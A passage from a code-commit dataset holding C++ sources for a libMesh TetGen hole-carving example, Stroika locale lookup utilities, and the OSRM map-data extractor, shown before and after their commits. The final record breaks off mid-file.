for a rectangular hole within the unit cube.\n Point hole_lower_limit(0.2, 0.2, 0.4);\n Point hole_upper_limit(0.8, 0.8, 0.6);\n\n \/\/ 1.) Construct a convex hull for the hole\n add_cube_convex_hull_to_mesh(mesh, hole_lower_limit, hole_upper_limit);\n \n \/\/ 2.) Generate elements comprising the outer boundary of the domain.\n add_cube_convex_hull_to_mesh(mesh, Point(0.,0.,0.), Point(1., 1., 1.));\n\n \/\/ 3.) Update neighbor information so that TetGen can verify there is a convex hull.\n mesh.find_neighbors();\n\n \/\/ 4.) Set up vector of hole points\n std::vector<Point> hole(1);\n hole[0] = Point( 0.5*(hole_lower_limit + hole_upper_limit) );\n\n \/\/ 5.) Set parameters and tetrahedralize the domain\n \n \/\/ 0 means \"use TetGen default value\"\n Real quality_constraint = 2.0;\n\n \/\/ The volume constraint determines the max-allowed tetrahedral\n \/\/ volume in the Mesh. TetGen will split cells which are larger than\n \/\/ this size\n Real volume_constraint = 0.001;\n \n \/\/ Construct the Delaunay tetrahedralization\n TetGenMeshInterface t(mesh);\n t.triangulate_conformingDelaunayMesh_carvehole(hole, \n\t\t\t\t\t\t quality_constraint, \n\t\t\t\t\t\t volume_constraint);\n \n \/\/ Find neighbors, etc in preparation for writing out the Mesh\n mesh.prepare_for_use();\n\n \/\/ Finally, write out the result\n mesh.write(\"hole_3D.e\");\n#endif \/\/ LIBMESH_HAVE_TETGEN\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\nvoid add_cube_convex_hull_to_mesh(MeshBase& mesh, Point lower_limit, Point upper_limit)\n{\n#ifdef LIBMESH_HAVE_TETGEN\n SerialMesh cube_mesh(3);\n\n unsigned n_elem = 1;\n\n MeshTools::Generation::build_cube(cube_mesh,\n\t\t\t\t n_elem,n_elem,n_elem, \/\/ n. elements in each direction\n\t\t\t\t lower_limit(0), upper_limit(0),\n\t\t\t\t lower_limit(1), upper_limit(1),\n\t\t\t\t lower_limit(2), upper_limit(2),\n\t\t\t\t HEX8);\n \n \/\/ The pointset_convexhull() algorithm will ignore the Hex8s\n \/\/ in the Mesh, and just construct the triangulation\n \/\/ of the convex hull.\n TetGenMeshInterface t(cube_mesh);\n t.pointset_convexhull(); \n \n \/\/ Now add all nodes from the boundary of the cube_mesh to the input mesh.\n\n \/\/ Map from \"node id in cube_mesh\" -> \"node id in mesh\". Initially inserted\n \/\/ with a dummy value, later to be assigned a value by the input mesh.\n std::map<unsigned,unsigned> node_id_map;\n typedef std::map<unsigned,unsigned>::iterator iterator;\n\n {\n MeshBase::element_iterator it = cube_mesh.elements_begin();\n const MeshBase::element_iterator end = cube_mesh.elements_end();\n for ( ; it != end; ++it) \n {\n\tElem* elem = *it;\n\t \n\tfor (unsigned s=0; s<elem->n_sides(); ++s)\n\t if (elem->neighbor(s) == NULL)\n\t {\n\t \/\/ Add the node IDs of this side to the set\n\t AutoPtr<Elem> side = elem->side(s);\n\t\t\n\t for (unsigned n=0; n<side->n_nodes(); ++n)\n\t\tnode_id_map.insert( std::make_pair(side->node(n), \/*dummy_value=*\/0) );\n\t }\n }\n }\n\n \/\/ For each node in the map, insert it into the input mesh and keep \n \/\/ track of the ID assigned.\n for (iterator it=node_id_map.begin(); it != node_id_map.end(); ++it)\n {\n \/\/ Id of the node in the cube mesh\n unsigned id = (*it).first;\n\n \/\/ Pointer to node in the cube mesh\n Node* old_node = cube_mesh.node_ptr(id);\n\n \/\/ Add geometric point to input mesh\n Node* new_node = mesh.add_point ( *old_node );\n\n \/\/ Track ID value of new_node in map\n (*it).second = new_node->id();\n }\n \n \/\/ With the points added and the map data structure in place, we are\n \/\/ ready to add each TRI3 element of the cube_mesh to the input Mesh \n \/\/ with proper node assignments\n {\n MeshBase::element_iterator el = cube_mesh.elements_begin();\n const MeshBase::element_iterator end_el = cube_mesh.elements_end();\n \n for (; el != end_el; ++el)\n {\n\tElem* old_elem = *el;\n\n\tif (old_elem->type() == TRI3)\n\t {\n\t Elem* new_elem = mesh.add_elem(new Tri3);\n\n\t \/\/ Assign nodes in new elements. Since this is an example,\n\t \/\/ we'll do it in several steps.\n\t for (unsigned i=0; i<old_elem->n_nodes(); ++i)\n\t {\n\t\t\/\/ Locate old node ID in the map\n\t\titerator it = node_id_map.find(old_elem->node(i));\n\n\t\t\/\/ Check for not found\n\t\tif (it == node_id_map.end())\n\t\t {\n\t\t libMesh::err << \"Node id \" << old_elem->node(i) << \" not found in map!\" << std::endl;\n\t\t libmesh_error();\n\t\t }\n\n\t\t\/\/ Mapping to node ID in input mesh\n\t\tunsigned new_node_id = (*it).second;\n\n\t\t\/\/ Node pointer assigned from input mesh\n\t\tnew_elem->set_node(i) = mesh.node_ptr(new_node_id);\n\t }\n\t }\n }\n }\n#endif \/\/ LIBMESH_HAVE_TETGEN\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2022. All rights reserved\n *\/\n#include \"..\/StroikaPreComp.h\"\n\n#include <set>\n\n#include \"StroikaConfig.h\"\n\n#include \"..\/Characters\/Format.h\"\n#include \"..\/Characters\/SDKString.h\"\n#include \"..\/Execution\/Exceptions.h\"\n#include \"..\/Execution\/Throw.h\"\n\n#include \"Locale.h\"\n\nusing namespace Stroika::Foundation;\nusing namespace Stroika::Foundation::Characters;\nusing namespace Stroika::Foundation::Configuration;\n\n\/\/ Comment this in to turn on aggressive noisy DbgTrace in this module\n\/\/#define USE_NOISY_TRACE_IN_THIS_MODULE_ 1\n\n\/*\n ********************************************************************************\n *********** Configuration::UsePlatformDefaultLocaleAsDefaultLocale *************\n ********************************************************************************\n *\/\nvoid Configuration::UsePlatformDefaultLocaleAsDefaultLocale ()\n{\n locale::global (GetPlatformDefaultLocale ());\n}\n\n\/*\n ********************************************************************************\n ************************* Configuration::GetAvailableLocales *******************\n ********************************************************************************\n *\/\n#if 0\nEnumSystemLocales(EnumLocalesProc, LCID_INSTALLED);\n\/\/ the enumeration callback function\nBOOL CALLBACK EnumLocalesProc(LPTSTR lpLocaleString)\n{\n LCID uiCurLocale;\n TCHAR szCurNam[STR_LEN];\n if (!lpLocaleString)\n return FALSE;\n\/\/ This enumeration returns the LCID as a character string while\n\/\/ we will be using numbers in other NLS calls.\n uiCurLocale = uiConvertStrToInt(lpLocaleString);\n\/\/ Get the language name associated with this locale ID.\n GetLocaleInfo(uiCurLocale, LOCALE_SLANGUAGE, szCurName, STR_LEN);\n return TRUE;\n}\n#endif\nvector<Characters::String> Configuration::GetAvailableLocales ()\n{\n \/\/ @todo\n \/\/ horrible!!!! - see TOOD\n vector<Characters::String> result;\n result.reserve (10);\n IgnoreExceptionsForCall (result.push_back (FindLocaleName (L\"en\"sv, L\"us\"sv)));\n return result;\n}\n\n\/*\n ********************************************************************************\n ************************* Configuration::FindLocaleName ************************\n ********************************************************************************\n *\/\nCharacters::String Configuration::FindLocaleName (const Characters::String& iso2LetterLanguageCode, const Characters::String& iso2LetterTerritoryCode)\n{\n if (auto r = FindLocaleNameQuietly (iso2LetterLanguageCode, iso2LetterTerritoryCode)) {\n return *r;\n }\n Execution::Throw (Execution::RuntimeErrorException{Characters::Format (L\"Locale (%s-%s) not found\", iso2LetterLanguageCode.c_str (), iso2LetterTerritoryCode.c_str ())});\n}\n\noptional<Characters::String> Configuration::FindLocaleNameQuietly (const Characters::String& iso2LetterLanguageCode, const Characters::String& iso2LetterTerritoryCode)\n{\n using namespace Characters;\n Require (iso2LetterLanguageCode.length () == 2);\n Require (iso2LetterTerritoryCode.length () == 2); \/\/ may lift this in the future and make it optional\n\n#if USE_NOISY_TRACE_IN_THIS_MODULE_\n Debug::TraceContextBumper ctx (\"Configuration::FindLocaleName\");\n DbgTrace (L\"(%s,%s)\", iso2LetterLanguageCode.c_str (), iso2LetterTerritoryCode.c_str ());\n#endif\n\n \/\/ This is a HORRIBLE way - but I know of no better (especially no better portable way).\n \/\/ See todo for planned fixes\n \/\/ --LGP 2013-03-02\n \/\/\n \/\/ Could make less heinous with memoizing, but not currently used much, and I plan todo much better impl...\n set<String> part1{\n iso2LetterLanguageCode,\n iso2LetterLanguageCode.ToLowerCase (),\n iso2LetterLanguageCode.ToUpperCase (),\n };\n static const set<String> part2{\n L\"-\"sv,\n L\"_\"sv,\n L\".\"sv,\n L\" \"sv,\n };\n set<String> part3{\n iso2LetterTerritoryCode,\n iso2LetterTerritoryCode.ToLowerCase (),\n iso2LetterTerritoryCode.ToUpperCase (),\n };\n static const set<String> part4{\n String{},\n L\".utf8\"sv,\n };\n for (const auto& i1 : part1) {\n for (const auto& i2 : part2) {\n for (const auto& i3 : part3) {\n for (const auto& i4 : part4) {\n#if USE_NOISY_TRACE_IN_THIS_MODULE_\n DbgTrace (L\"***trying locale (i1 + i2 + i3 + i4).AsUTF8 ().c_str ()=%s\", (i1 + i2 + i3 + i4).c_str ());\n#endif\n IgnoreExceptionsForCall (return String::FromNarrowSDKString (locale{(i1 + i2 + i3 + i4).AsUTF8 ().c_str ()}.name ()));\n }\n }\n }\n }\n return nullopt;\n}\n\n\/*\n ********************************************************************************\n *************************** Configuration::FindNamedLocale *********************\n ********************************************************************************\n *\/\nlocale Configuration::FindNamedLocale (const Characters::String& iso2LetterLanguageCode, const Characters::String& iso2LetterTerritoryCode)\n{\n return locale{FindLocaleName (iso2LetterLanguageCode, iso2LetterTerritoryCode).AsNarrowSDKString ().c_str ()};\n}\n<commit_msg>cosmetic<commit_after>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2022. All rights reserved\n *\/\n#include \"..\/StroikaPreComp.h\"\n\n#include <set>\n\n#include \"StroikaConfig.h\"\n\n#include \"..\/Characters\/Format.h\"\n#include \"..\/Characters\/SDKString.h\"\n#include \"..\/Execution\/Exceptions.h\"\n#include \"..\/Execution\/Throw.h\"\n\n#include \"Locale.h\"\n\nusing namespace Stroika::Foundation;\nusing namespace Stroika::Foundation::Characters;\nusing namespace Stroika::Foundation::Configuration;\n\n\/\/ Comment this in to turn on aggressive noisy DbgTrace in this module\n\/\/#define USE_NOISY_TRACE_IN_THIS_MODULE_ 1\n\n\/*\n ********************************************************************************\n *********** Configuration::UsePlatformDefaultLocaleAsDefaultLocale *************\n ********************************************************************************\n *\/\nvoid Configuration::UsePlatformDefaultLocaleAsDefaultLocale ()\n{\n locale::global (GetPlatformDefaultLocale ());\n}\n\n\/*\n ********************************************************************************\n ************************* Configuration::GetAvailableLocales *******************\n ********************************************************************************\n *\/\n#if 0\nEnumSystemLocales(EnumLocalesProc, LCID_INSTALLED);\n\/\/ the enumeration callback function\nBOOL CALLBACK EnumLocalesProc(LPTSTR lpLocaleString)\n{\n LCID uiCurLocale;\n TCHAR szCurNam[STR_LEN];\n if (!lpLocaleString)\n return FALSE;\n\/\/ This enumeration returns the LCID as a character string while\n\/\/ we will be using numbers in other NLS calls.\n uiCurLocale = uiConvertStrToInt(lpLocaleString);\n\/\/ Get the language name associated with this locale ID.\n GetLocaleInfo(uiCurLocale, LOCALE_SLANGUAGE, szCurName, STR_LEN);\n return TRUE;\n}\n#endif\nvector<Characters::String> Configuration::GetAvailableLocales ()\n{\n \/\/ @todo\n \/\/ horrible!!!! - see TOOD\n vector<Characters::String> result;\n result.reserve (10);\n IgnoreExceptionsForCall (result.push_back (FindLocaleName (L\"en\"sv, L\"us\"sv)));\n return result;\n}\n\n\/*\n ********************************************************************************\n ************************* Configuration::FindLocaleName ************************\n ********************************************************************************\n *\/\nCharacters::String Configuration::FindLocaleName (const Characters::String& iso2LetterLanguageCode, const Characters::String& iso2LetterTerritoryCode)\n{\n if (auto r = FindLocaleNameQuietly (iso2LetterLanguageCode, iso2LetterTerritoryCode)) {\n return *r;\n }\n Execution::Throw (Execution::RuntimeErrorException{Characters::Format (L\"Locale (%s-%s) not found\", iso2LetterLanguageCode.c_str (), iso2LetterTerritoryCode.c_str ())});\n}\n\noptional<Characters::String> Configuration::FindLocaleNameQuietly (const Characters::String& iso2LetterLanguageCode, const Characters::String& iso2LetterTerritoryCode)\n{\n using namespace Characters;\n Require (iso2LetterLanguageCode.length () == 2);\n Require (iso2LetterTerritoryCode.length () == 2); \/\/ may lift this in the future and make it optional\n\n#if USE_NOISY_TRACE_IN_THIS_MODULE_\n Debug::TraceContextBumper ctx{\"Configuration::FindLocaleName\"};\n DbgTrace (L\"(%s,%s)\", iso2LetterLanguageCode.c_str (), iso2LetterTerritoryCode.c_str ());\n#endif\n\n \/\/ This is a HORRIBLE way - but I know of no better (especially no better portable way).\n \/\/ See todo for planned fixes\n \/\/ --LGP 2013-03-02\n \/\/\n \/\/ Could make less heinous with memoizing, but not currently used much, and I plan todo much better impl...\n set<String> part1{\n iso2LetterLanguageCode,\n iso2LetterLanguageCode.ToLowerCase (),\n iso2LetterLanguageCode.ToUpperCase (),\n };\n static const set<String> part2{\n L\"-\"sv,\n L\"_\"sv,\n L\".\"sv,\n L\" \"sv,\n };\n set<String> part3{\n iso2LetterTerritoryCode,\n iso2LetterTerritoryCode.ToLowerCase (),\n iso2LetterTerritoryCode.ToUpperCase (),\n };\n static const set<String> part4{\n String{},\n L\".utf8\"sv,\n };\n for (const auto& i1 : part1) {\n for (const auto& i2 : part2) {\n for (const auto& i3 : part3) {\n for (const auto& i4 : part4) {\n#if USE_NOISY_TRACE_IN_THIS_MODULE_\n DbgTrace (L\"***trying locale (i1 + i2 + i3 + i4).AsUTF8 ().c_str ()=%s\", (i1 + i2 + i3 + i4).c_str ());\n#endif\n IgnoreExceptionsForCall (return String::FromNarrowSDKString (locale{(i1 + i2 + i3 + i4).AsUTF8 ().c_str ()}.name ()));\n }\n }\n }\n }\n return nullopt;\n}\n\n\/*\n ********************************************************************************\n *************************** Configuration::FindNamedLocale *********************\n ********************************************************************************\n *\/\nlocale Configuration::FindNamedLocale (const Characters::String& iso2LetterLanguageCode, const Characters::String& iso2LetterTerritoryCode)\n{\n return locale{FindLocaleName (iso2LetterLanguageCode, iso2LetterTerritoryCode).AsNarrowSDKString ().c_str ()};\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n open source routing machine\n Copyright (C) Dennis Luxen, others 2010\n\nThis program is free software; you can redistribute it and\/or modify\nit under the terms of the GNU AFFERO General Public License as published by\nthe Free Software Foundation; either version 3 of the License, or\nany later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU Affero General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\nor see http:\/\/www.gnu.org\/licenses\/agpl.txt.\n *\/\n#ifdef STXXL_VERBOSE_LEVEL\n#undef STXXL_VERBOSE_LEVEL\n#endif\n#define STXXL_VERBOSE_LEVEL -1000\n\n#include <algorithm>\n#include <cassert>\n#include <climits>\n#include <cstdio>\n#include <cstdlib>\n#include <iostream>\n#include <fstream>\n#include <sstream>\n#include <string>\n#include <vector>\n\n#include <libxml\/xmlreader.h>\n#include <google\/sparse_hash_map>\n#include <unistd.h>\n#include <stxxl.h>\n\n#include \"typedefs.h\"\n#include \"DataStructures\/InputReaderFactory.h\"\n#include \"DataStructures\/ExtractorCallBacks.h\"\n#include \"DataStructures\/ExtractorStructs.h\"\n#include \"DataStructures\/PBFParser.h\"\n#include \"DataStructures\/XMLParser.h\"\n#include \"Util\/BaseConfiguration.h\"\n#include \"Util\/InputFileUtil.h\"\n\ntypedef BaseConfiguration ExtractorConfiguration;\n\nunsigned globalRelationCounter = 0;\nExtractorCallbacks * extractCallBacks;\n\nbool nodeFunction(_Node n);\nbool adressFunction(_Node n, HashTable<std::string, std::string> keyVals);\nbool relationFunction(_Relation r);\nbool wayFunction(_Way w);\n\ntemplate<class ClassT>\nbool removeIfUnused(ClassT n) { return (false == n.used); }\n\nint main (int argc, char *argv[]) {\n if(argc <= 1) {\n std::cerr << \"usage: \" << endl << argv[0] << \" <file.osm>\" << std::endl;\n exit(-1);\n }\n\n std::cout << \"[extractor] extracting data from input file \" << argv[1] << std::endl;\n bool isPBF = false;\n std::string outputFileName(argv[1]);\n std::string::size_type pos = outputFileName.find(\".osm.bz2\");\n if(pos==string::npos) {\n pos = outputFileName.find(\".osm.pbf\");\n if(pos!=string::npos) {\n isPBF = true;\n }\n }\n if(pos!=string::npos) {\n outputFileName.replace(pos, 8, \".osrm\");\n } else {\n pos=outputFileName.find(\".osm\");\n if(pos!=string::npos) {\n outputFileName.replace(pos, 5, \".osrm\");\n } else {\n outputFileName.append(\".osrm\");\n }\n }\n std::string adressFileName(outputFileName);\n\n\n\n unsigned amountOfRAM = 1;\n unsigned installedRAM = (sysconf(_SC_PHYS_PAGES) * sysconf(_SC_PAGESIZE));\n if(installedRAM < 2097422336) {\n std::cout << \"[Warning] Machine has less than 2GB RAM.\" << std::endl;\n }\n if(testDataFile(\"extractor.ini\")) {\n ExtractorConfiguration extractorConfig(\"extractor.ini\");\n unsigned memoryAmountFromFile = atoi(extractorConfig.GetParameter(\"Memory\").c_str());\n if( memoryAmountFromFile != 0 && memoryAmountFromFile <= installedRAM\/(1024*1024*1024))\n amountOfRAM = memoryAmountFromFile;\n std::cout << \"[extractor] using \" << amountOfRAM << \" GB of RAM for buffers\" << std::endl;\n }\n\n STXXLNodeIDVector usedNodeIDs;\n STXXLNodeVector allNodes;\n STXXLEdgeVector allEdges;\n STXXLAddressVector adressVector;\n STXXLStringVector nameVector;\n unsigned usedNodeCounter = 0;\n unsigned usedEdgeCounter = 0;\n\n StringMap * stringMap = new StringMap();\n Settings settings;\n settings.speedProfile.names.insert(settings.speedProfile.names.begin(), names, names+14);\n settings.speedProfile.speed.insert(settings.speedProfile.speed.begin(), speeds, speeds+14);\n\n double time = get_timestamp();\n\n stringMap->set_empty_key(GetRandomString());\n stringMap->insert(std::make_pair(\"\", 0));\n extractCallBacks = new ExtractorCallbacks(&allNodes, &usedNodeIDs, &allEdges, &nameVector, &adressVector, settings, stringMap);\n\n BaseParser<_Node, _Relation, _Way> * parser;\n if(isPBF) {\n parser = new PBFParser(argv[1]);\n } else {\n parser = new XMLParser(argv[1]);\n }\n parser->RegisterCallbacks(&nodeFunction, &relationFunction, &wayFunction, &adressFunction);\n if(parser->Init()) {\n parser->Parse();\n } else {\n std::cerr << \"[error] parser not initialized!\" << std::endl;\n exit(-1);\n }\n delete parser;\n\n try {\n \/\/ std::cout << \"[info] raw no. of names: \" << nameVector.size() << std::endl;\n \/\/ std::cout << \"[info] raw no. of nodes: \" << allNodes.size() << std::endl;\n \/\/ std::cout << \"[info] no. of used nodes: \" << usedNodeIDs.size() << std::endl;\n \/\/ std::cout << \"[info] raw no. of edges: \" << allEdges.size() << std::endl;\n \/\/ std::cout << \"[info] raw no. of relations: \" << globalRelationCounter << std::endl;\n \/\/ std::cout << \"[info] raw no. of addresses: \" << adressVector.size() << std::endl;\n\n std::cout << \"[extractor] parsing finished after \" << get_timestamp() - time << \"seconds\" << std::endl;\n time = get_timestamp();\n unsigned memory_to_use = amountOfRAM * 1024 * 1024 * 1024;\n\n std::cout << \"[extractor] Sorting used nodes ... \" << std::flush;\n stxxl::sort(usedNodeIDs.begin(), usedNodeIDs.end(), Cmp(), memory_to_use);\n std::cout << \"ok, after \" << get_timestamp() - time << \"s\" << std::endl;\n\n time = get_timestamp();\n std::cout << \"[extractor] Erasing duplicate nodes ... \" << std::flush;\n stxxl::vector<NodeID>::iterator NewEnd = unique ( usedNodeIDs.begin(),usedNodeIDs.end() ) ;\n usedNodeIDs.resize ( NewEnd - usedNodeIDs.begin() );\n cout << \"ok, after \" << get_timestamp() - time << \"s\" << endl;\n time = get_timestamp();\n\n std::cout << \"[extractor] Sorting all nodes ... \" << std::flush;\n stxxl::sort(allNodes.begin(), allNodes.end(), CmpNodeByID(), memory_to_use);\n std::cout << \"ok, after \" << get_timestamp() - time << \"s\" << std::endl;\n time = get_timestamp();\n\n std::ofstream fout;\n fout.open(outputFileName.c_str(), std::ios::binary);\n fout.write((char*)&usedNodeCounter, sizeof(unsigned));\n\n std::cout << \"[extractor] Confirming used nodes ... \" << std::flush;\n STXXLNodeVector::iterator nodesIT = allNodes.begin();\n STXXLNodeIDVector::iterator usedNodeIDsIT = usedNodeIDs.begin();\n while(usedNodeIDsIT != usedNodeIDs.end() && nodesIT != allNodes.end()) {\n if(*usedNodeIDsIT < nodesIT->id){\n usedNodeIDsIT++;\n continue;\n }\n if(*usedNodeIDsIT > nodesIT->id) {\n nodesIT++;\n continue;\n }\n if(*usedNodeIDsIT == nodesIT->id) {\n fout.write((char*)&(nodesIT->id), sizeof(unsigned));\n fout.write((char*)&(nodesIT->lon), sizeof(int));\n fout.write((char*)&(nodesIT->lat), sizeof(int));\n usedNodeCounter++;\n usedNodeIDsIT++;\n nodesIT++;\n }\n }\n std::cout << \"ok, after \" << get_timestamp() - time << \"s\" << std::endl;\n time = get_timestamp();\n\n std::cout << \"[extractor] setting number of nodes ... \" << std::flush;\n std::ios::pos_type positionInFile = fout.tellp();\n fout.seekp(std::ios::beg);\n fout.write((char*)&usedNodeCounter, sizeof(unsigned));\n fout.seekp(positionInFile);\n\n std::cout << \"ok\" << std::endl;\n time = get_timestamp();\n\n \/\/ Sort edges by start.\n std::cout << \"[extractor] Sorting edges by start ... \" << std::flush;\n stxxl::sort(allEdges.begin(), allEdges.end(), CmpEdgeByStartID(), memory_to_use);\n std::cout << \"ok, after \" << get_timestamp() - time << \"s\" << std::endl;\n time = get_timestamp();\n\n std::cout << \"[extractor] Setting start coords ... \" << std::flush;\n fout.write((char*)&usedEdgeCounter, sizeof(unsigned));\n \/\/ Traverse list of edges and nodes in parallel and set start coord\n nodesIT = allNodes.begin();\n STXXLEdgeVector::iterator edgeIT = allEdges.begin();\n while(edgeIT != allEdges.end() && nodesIT != allNodes.end()) {\n if(edgeIT->start < nodesIT->id){\n edgeIT++;\n continue;\n }\n if(edgeIT->start > nodesIT->id) {\n nodesIT++;\n continue;\n }\n if(edgeIT->start == nodesIT->id) {\n edgeIT->startCoord.lat = nodesIT->lat;\n edgeIT->startCoord.lon = nodesIT->lon;\n edgeIT++;\n }\n }\n std::cout << \"ok, after \" << get_timestamp() - time << \"s\" << std::endl;\n time = get_timestamp();\n\n \/\/ Sort Edges by target\n std::cout << \"[extractor] Sorting edges by target ... \" << std::flush;\n stxxl::sort(allEdges.begin(), allEdges.end(), CmpEdgeByTargetID(), memory_to_use);\n std::cout << \"ok, after \" << get_timestamp() - time << \"s\" << std::endl;\n time = get_timestamp();\n\n std::cout << \"[extractor] Setting target coords ... \" << std::flush;\n \/\/ Traverse list of edges and nodes in parallel and set target coord\n nodesIT = allNodes.begin();\n edgeIT = allEdges.begin();\n while(edgeIT != allEdges.end() && nodesIT != allNodes.end()) {\n if(edgeIT->target < nodesIT->id){\n edgeIT++;\n continue;\n }\n if(edgeIT->target > nodesIT->id) {\n nodesIT++;\n continue;\n }\n if(edgeIT->startCoord.lat != INT_MIN && edgeIT->target == nodesIT->id) {\n edgeIT->targetCoord.lat = nodesIT->lat;\n edgeIT->targetCoord.lon = nodesIT->lon;\n\n double distance = ApproximateDistance(edgeIT->startCoord.lat, edgeIT->startCoord.lon, nodesIT->lat, nodesIT->lon);\n if(edgeIT->speed == -1)\n edgeIT->speed = settings.speedProfile.speed[edgeIT->type];\n double weight = ( distance * 10. ) \/ (edgeIT->speed \/ 3.6);\n int intWeight = max(1, (int) weight);\n int intDist = max(1, (int)distance);\n int ferryIndex = settings.indexInAccessListOf(\"ferry\");\n assert(ferryIndex != -1);\n short zero = 0;\n short one = 1;\n\n fout.write((char*)&edgeIT->start, sizeof(unsigned));\n fout.write((char*)&edgeIT->target, sizeof(unsigned));\n fout.write((char*)&intDist, sizeof(int));\n switch(edgeIT->direction) {\n case _Way::notSure:\n fout.write((char*)&zero, sizeof(short));\n break;\n case _Way::oneway:\n fout.write((char*)&one, sizeof(short));\n break;\n case _Way::bidirectional:\n fout.write((char*)&zero, sizeof(short));\n\n break;\n case _Way::opposite:\n fout.write((char*)&one, sizeof(short));\n break;\n default:\n std::cerr << \"[error] edge with no direction: \" << edgeIT->direction << std::endl;\n assert(false);\n break;\n }\n fout.write((char*)&intWeight, sizeof(int));\n short edgeType = edgeIT->type;\n fout.write((char*)&edgeType, sizeof(short));\n fout.write((char*)&edgeIT->nameID, sizeof(unsigned));\n\n usedEdgeCounter++;\n edgeIT++;\n }\n }\n std::cout << \"ok, after \" << get_timestamp() - time << \"s\" << std::endl;\n time = get_timestamp();\n\n std::cout << \"[extractor] setting number of edges ... \" << std::flush;\n fout.seekp(positionInFile);\n fout.write((char*)&usedEdgeCounter, sizeof(unsigned));\n fout.close();\n std::cout << \"ok\" << std::endl;\n time = get_timestamp();\n\n\n std::cout << \"[extractor] writing street name index ... \" << std::flush;\n std::vector<unsigned> * nameIndex = new std::vector<unsigned>(nameVector.size()+1, 0);\n outputFileName.append(\".names\");\n std::ofstream nameOutFile(outputFileName.c_str(), std::ios::binary);\n unsigned sizeOfNameIndex = nameIndex->size();\n nameOutFile.write((char *)&(sizeOfNameIndex), sizeof(unsigned));\n\n for(STXXLStringVector::iterator it = nameVector.begin(); it != nameVector.end(); it++) {\n unsigned lengthOfRawString = strlen(it->c_str());\n nameOutFile.write((char *)&(lengthOfRawString), sizeof(unsigned));\n nameOutFile.write(it->c_str(), lengthOfRawString);\n }\n\n nameOutFile.close();\n delete nameIndex;\n std::cout << \"ok, after \" << get_timestamp() - time << \"s\" << std::endl;\n\n \/\/ time = get_timestamp();\n \/\/ std::cout << \"[extractor] writing address list ... \" << std::flush;\n \/\/\n \/\/ adressFileName.append(\".address\");\n \/\/ std::ofstream addressOutFile(adressFileName.c_str());\n \/\/ for(STXXLAddressVector::iterator it = adressVector.begin(); it != adressVector.end(); it++) {\n \/\/ addressOutFile << it->node.id << \"|\" << it->node.lat << \"|\" << it->node.lon << \"|\" << it->city << \"|\" << it->street << \"|\" << it->housenumber << \"|\" << it->state << \"|\" << it->country << \"\\n\";\n \/\/ }\n \/\/ addressOutFile.close();\n \/\/ std::cout << \"ok, after \" << get_timestamp() - time << \"s\" << std::endl;\n\n } catch ( const std::exception& e ) {\n std::cerr << \"Caught Execption:\" << e.what() << std::endl;\n return false;\n }\n\n delete extractCallBacks;\n std::cout << \"[extractor] finished.\" << std::endl;\n return 0;\n}\n\nbool nodeFunction(_Node n) {\n extractCallBacks->nodeFunction(n);\n return true;\n}\n\nbool adressFunction(_Node n, HashTable<std::string, std::string> keyVals){\n extractCallBacks->adressFunction(n, keyVals);\n return true;\n}\n\nbool relationFunction(_Relation r) {\n globalRelationCounter++;\n return true;\n}\nbool wayFunction(_Way w) {\n extractCallBacks->wayFunction(w);\n return true;\n}\n\n<commit_msg>fixing a silly endless loop that occurred when an edge had a starting node that was not present in node data (Thanks Frederik)<commit_after>\/*\n open source routing machine\n Copyright (C) Dennis Luxen, others 2010\n\nThis program is free software; you can redistribute it and\/or modify\nit under the terms of the GNU AFFERO General Public License as published by\nthe Free Software Foundation; either version 3 of the License, or\nany later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU Affero General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\nor see http:\/\/www.gnu.org\/licenses\/agpl.txt.\n *\/\n#ifdef STXXL_VERBOSE_LEVEL\n#undef STXXL_VERBOSE_LEVEL\n#endif\n#define STXXL_VERBOSE_LEVEL -1000\n\n#include <algorithm>\n#include <cassert>\n#include <climits>\n#include <cstdio>\n#include <cstdlib>\n#include <iostream>\n#include <fstream>\n#include <sstream>\n#include <string>\n#include <vector>\n\n#include <libxml\/xmlreader.h>\n#include <google\/sparse_hash_map>\n#include <unistd.h>\n#include <stxxl.h>\n\n#include \"typedefs.h\"\n#include \"DataStructures\/InputReaderFactory.h\"\n#include \"DataStructures\/ExtractorCallBacks.h\"\n#include \"DataStructures\/ExtractorStructs.h\"\n#include \"DataStructures\/PBFParser.h\"\n#include \"DataStructures\/XMLParser.h\"\n#include \"Util\/BaseConfiguration.h\"\n#include \"Util\/InputFileUtil.h\"\n\ntypedef BaseConfiguration ExtractorConfiguration;\n\nunsigned globalRelationCounter = 0;\nExtractorCallbacks * extractCallBacks;\n\nbool nodeFunction(_Node n);\nbool adressFunction(_Node n, HashTable<std::string, std::string> keyVals);\nbool relationFunction(_Relation r);\nbool wayFunction(_Way w);\n\ntemplate<class ClassT>\nbool removeIfUnused(ClassT n) { return (false == n.used); }\n\nint main (int argc, char *argv[]) {\n if(argc <= 1) {\n std::cerr << \"usage: \" << endl << argv[0] << \" <file.osm>\" << std::endl;\n exit(-1);\n }\n\n std::cout << \"[extractor] extracting data from input file \" << argv[1] << std::endl;\n bool isPBF = false;\n std::string outputFileName(argv[1]);\n std::string::size_type pos = outputFileName.find(\".osm.bz2\");\n if(pos==string::npos) {\n pos = outputFileName.find(\".osm.pbf\");\n if(pos!=string::npos) {\n isPBF = true;\n }\n }\n if(pos!=string::npos) {\n outputFileName.replace(pos, 8, \".osrm\");\n } else {\n pos=outputFileName.find(\".osm\");\n if(pos!=string::npos) {\n outputFileName.replace(pos, 5, \".osrm\");\n } else {\n outputFileName.append(\".osrm\");\n }\n }\n std::string adressFileName(outputFileName);\n\n\n\n unsigned amountOfRAM = 1;\n unsigned installedRAM = (sysconf(_SC_PHYS_PAGES) * sysconf(_SC_PAGESIZE));\n if(installedRAM < 2097422336) {\n std::cout << 